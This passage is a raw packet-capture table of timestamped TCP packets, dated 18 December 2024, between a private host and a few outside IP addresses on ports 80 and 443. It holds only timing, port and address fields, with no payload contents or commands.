Dec 18, 2024 12:00:19.167704105 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167737961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.167762041 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.167830944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167843103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.167938948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.175817013 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.175971985 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.287527084 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.287614107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.358016968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.358155966 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.358189106 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.358237982 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.360577106 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.360629082 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.360642910 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.360702038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.365684032 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.365755081 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.366318941 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.366414070 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.373321056 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.373392105 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.373414040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.373496056 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.381463051 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.381509066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.381550074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.381550074 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.390065908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.390084982 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.390142918 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.390142918 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.397866964 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.397953033 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.397981882 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.398200035 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.406112909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.406217098 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.406250000 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.406341076 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.414273024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.414355040 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.414474010 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.414552927 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.422528028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.422655106 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.422683954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.422770977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.430671930 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.430757999 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.430792093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.430839062 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.438492060 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.438535929 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.445055962 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:19.445178986 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:19.445368052 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:19.463152885 CET	49937	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:19.463205099 CET	443	49937	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:19.477714062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.477906942 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.483361006 CET	49913	80	192.168.2.6	185.215.113.17
Dec 18, 2024 12:00:19.485964060 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:19.485985994 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:19.486077070 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:19.486443043 CET	49944	443	192.168.2.6	104.21.23.76
Dec 18, 2024 12:00:19.486453056 CET	443	49944	104.21.23.76	192.168.2.6
Dec 18, 2024 12:00:19.549940109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.549957037 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.550082922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.553527117 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.553595066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.553770065 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.561000109 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.563734055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.563805103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.563915968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.563971996 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.571594954 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.571657896 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.571739912 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.571959019 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.575968027 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.576040983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.576325893 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.576386929 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.580533028 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.580585003 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.580681086 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.580729961 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.585226059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.585304022 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.585396051 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.585445881 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.589845896 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.589859009 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.589909077 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.594444990 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.594455004 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.594537020 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.594537020 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.598793030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.598921061 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.598982096 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.599035025 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.603239059 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.603353024 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.603393078 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.603404999 CET	80	49913	185.215.113.17	192.168.2.6
Dec 18, 2024 12:00:19.603481054 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.609028101 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.609100103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.609114885 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.609162092 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.612618923 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.612684011 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.612749100 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.612821102 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.616308928 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.616403103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.616425991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.616493940 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.619792938 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.619843960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.620014906 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.620091915 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.623419046 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.623586893 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.623601913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.623682976 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.627161980 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.627173901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.627213001 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.627269030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.631057024 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.631139040 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.631155968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.631242037 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.634737015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.634798050 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.634829998 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.634829998 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.638133049 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.638211012 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.638304949 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.638358116 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.669960976 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.669977903 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.670115948 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.672126055 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.672188997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.672271967 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.672349930 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.676059008 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.676129103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.740303993 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.740319014 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.740379095 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.740396976 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.741765022 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.741918087 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.741946936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.742041111 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.744977951 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.745032072 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.745146036 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.745274067 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.748351097 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.748394966 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.748435974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.748435974 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.751504898 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.751565933 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.751616955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.754851103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.754950047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.755016088 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.755105972 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.758554935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.758614063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.758641005 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.758846998 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.760746002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.760760069 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.760811090 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.760858059 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.763199091 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.763262987 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.763267040 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.763331890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.766201973 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.766302109 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.766376972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.766470909 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.769478083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.769594908 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.769623995 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.769718885 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.771414042 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.771465063 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.771538019 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.771806955 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.774182081 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.774631977 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.774712086 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.776977062 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.777076960 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.777103901 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.777194977 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.779736996 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.779813051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.779887915 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.780006886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.782422066 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.782536983 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.782660007 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.782744884 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.785159111 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.785233021 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.785379887 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.785475016 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.787946939 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.787991047 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.788096905 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.788192034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.790714979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.790827036 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.790874004 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.793348074 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.793435097 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.793457985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.793498993 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.796247959 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.796418905 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.796581030 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.796629906 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.798829079 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.798878908 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.798902988 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.798962116 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.800844908 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.800935984 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.801047087 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.801129103 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.803148985 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.803333044 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.803376913 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.803453922 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.805764914 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.805903912 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.805970907 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.806076050 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.807137966 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.807240963 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.807336092 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.807431936 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.808841944 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.808886051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.808897972 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.808979034 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.810791016 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.810920000 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.810941935 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.810985088 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.812938929 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.812973022 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.813055038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.813055038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.814738989 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.814799070 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.814841986 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.814973116 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.816900015 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.816911936 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.817014933 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.818797112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.818878889 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.818890095 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.819123030 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.821156979 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.821175098 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.821234941 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.821234941 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.822762966 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.822838068 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.822890997 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.824731112 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.824798107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.824827909 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.824960947 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.826792002 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.826853991 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.826881886 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.826944113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.828931093 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.828943968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.829000950 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.830843925 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.830856085 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.830931902 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.931190968 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.931260109 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.931282997 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.931368113 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.932061911 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.932121038 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.932323933 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.932382107 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.933904886 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.934014082 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.934497118 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.934510946 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.934545040 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.934633970 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.936034918 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.936095953 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.936227083 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.936295986 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.937792063 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.937908888 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.937978983 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.938055992 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.939443111 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.939567089 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.939588070 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.939744949 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.941093922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.941157103 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.941199064 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.941199064 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.942651987 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.942720890 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.942821026 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.942980051 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.944253922 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.944359064 CET	49938	80	192.168.2.6	185.215.113.16
Dec 18, 2024 12:00:19.944391012 CET	80	49938	185.215.113.16	192.168.2.6
Dec 18, 2024 12:00:19.944585085 CET	49938	80	192.168.2.6	185.215.113.16
